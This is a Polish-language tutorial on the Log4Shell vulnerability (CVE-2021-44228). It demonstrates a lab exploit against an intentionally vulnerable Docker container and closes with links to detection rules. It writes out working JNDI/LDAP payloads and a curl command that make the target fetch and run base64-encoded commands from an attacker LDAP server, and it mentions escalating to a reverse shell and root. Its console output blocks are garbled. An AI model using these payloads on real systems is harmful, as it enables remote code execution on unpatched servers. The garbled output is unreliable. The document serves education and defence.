Log4j (CVE-2021-44228)

Czym jest podatny proces Log4j?

Jest to biblioteka napisana w javie która odpowiada za twrzenie logów (logowanie) działających aplikacji np. webowych lub serwerów minecraft.

Na czym polega atak:

Jeżeli usługa Log4j oparta jest na javie można łatwo się domyśleć że wykonuje ona kod właśnie tego języka skryptowego. Podatność opisywana jest jako RCE czy remote code execution atakujący za pomocą protokołu Idap udostępnia na swoim serwerze / stacji zasób następnie za pomocą jakiegoś narzędzia do modyfikacji nagłówka http np. curl lub burp (w moim przypadku curl) do samego adresu podatnego serwera dokleja adres do wcześniej udostępnionego zasobu. Sam zasób nie jest kodem który się wykona jest po prostu payloadem a kod (w jednym z przypadków) który ma się wykonać jest zakodowany w base64 w adresie serwera atakującego np.:

\${jndi:ldap://192.168.1.169:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWNrZWQ=}

Wyżej przedstawiony kod ma stworzyć plik hacked w lokalizacji /tmp.

Scenariusz ataku:

- -Aplikacja udostępniająca np. strone czyli apache loguje za pomocą log4j requesty do serwera http
- -Atakujący podaje w zapytaniu http złośliwy payload np. taki jaki przedstawiłem wyżej.
- -Luka w logj4 wykonuje załośliwy payload i serwer wysyła żądanie do serwera atakującego.
- -Zasób atakującego w postaci kodu javy .class jes t wstrzykiwany do procesu log4j
- -Payload pozwala w ten sposób wykonywać dowolny kod na zaatakowanym serwerze

Praktyka:

W naszym przypadku przeprowadzimy atak na jednej wirtualnej maszynie a podany serwer będzie kontenerem dockera.

sudo docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

uruchamiamy kontener. Jeżeli wydamy polecenie jak powyżej serwer powinien działać na porcie 8080.

Teraz przejdźmy do termianala atakującego. Pierwszą rzeczą którą musimy zrobić jest uruchomienie skryptu java który uruchomi serwer Idap pozwalający nam na przesłanie payloadu.

Ok więc na porcie 8080 działa nasz podatny serwer, na porcie 1389 działa nasz exploit do którego będziemy się zaraz odwoływać przy wysyłaniu zapytania. Spójrzmy teraz po raz ostatni czy wszystko działa jak należy:

```
### Annual Contents of the Con
```

Ok skoro całe nasze środowisko testowe działa jak należy możemy zabrać się za exploitacje podatnego serwera.

Nie będziemy w tym wpisie przejmować powłoki serwera chcę tutaj tylko zaprezentować działanie podatności i pokazać skale problemu. Naszym zadaniem jest utworzenie pliku HACKED2 w lokalizacji tmp polecenie powłoki bash będzie wyglądało następująco: touch /tmp/HACKED2 w takiej postaci payload nie zadziała musimy zakodować go do postaci kodowania transportowego base64 często wykorzystywanego przez atakujących do zaciemniania śladów lub złośliwego kodu.

Wykorzystam do tego autorski skrypy w pythonie: nasze polecenie wygląda tak:

dG91Y2ggL3RtcC9IQUNLRUQy

więc samo zapytanie do serwera będzie wyglądać następująco:

curl 127.0.0.1:8080 -H 'X-Api-Version:

\${indi:ldap://192.168.1.169:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9IQUNLRUQy}'

wysyłamy zapytanie do localhosta na port 8080 ponieważ tam działa nasz kontener dockera modyfikujemy pole user-agent używając \${jndi:ldap: bez tego nasz payload się nie wykona

sprawdzmy czy polecenie się wykonało:

```
NAMES

OMMAND

CREATED

COMMAND

CREATED

COMMAND

CREATED

COMMAND

CREATED

CREATED

STATUS

PORTS

NAMES

O.0.0.0:8089->8080/tcp, :::8080->8080/tcp

Vulnerable-app

vulner
```

Jak widać wykonaliśmy zdalnie kod wysyłając jedno zapytanie równie dobrze moglibyśmy przejąć powłokę korzystając z revshella do tego przestarzałe nie załatane jądro systemu wykorzystujemy LPE i mamy roota 😉

Jeżeli ktoś jeszcze nie jest załatany lub nie ma jak bronić się przed podatnością przygotowałem dodatkowo reguły do systemu IDS/IPS oraz sygnatury yary którymi można przeskanować plik dziennika serwera webowego a sygnature IDS dołączyć do swojego systemu:

https://github.com/YxZi5/suricata-snort-rules/blob/main/log4j_CVE_2021_44228.rules
https://github.com/YxZi5/yara_rules/blob/main/cve-2021-44228.yar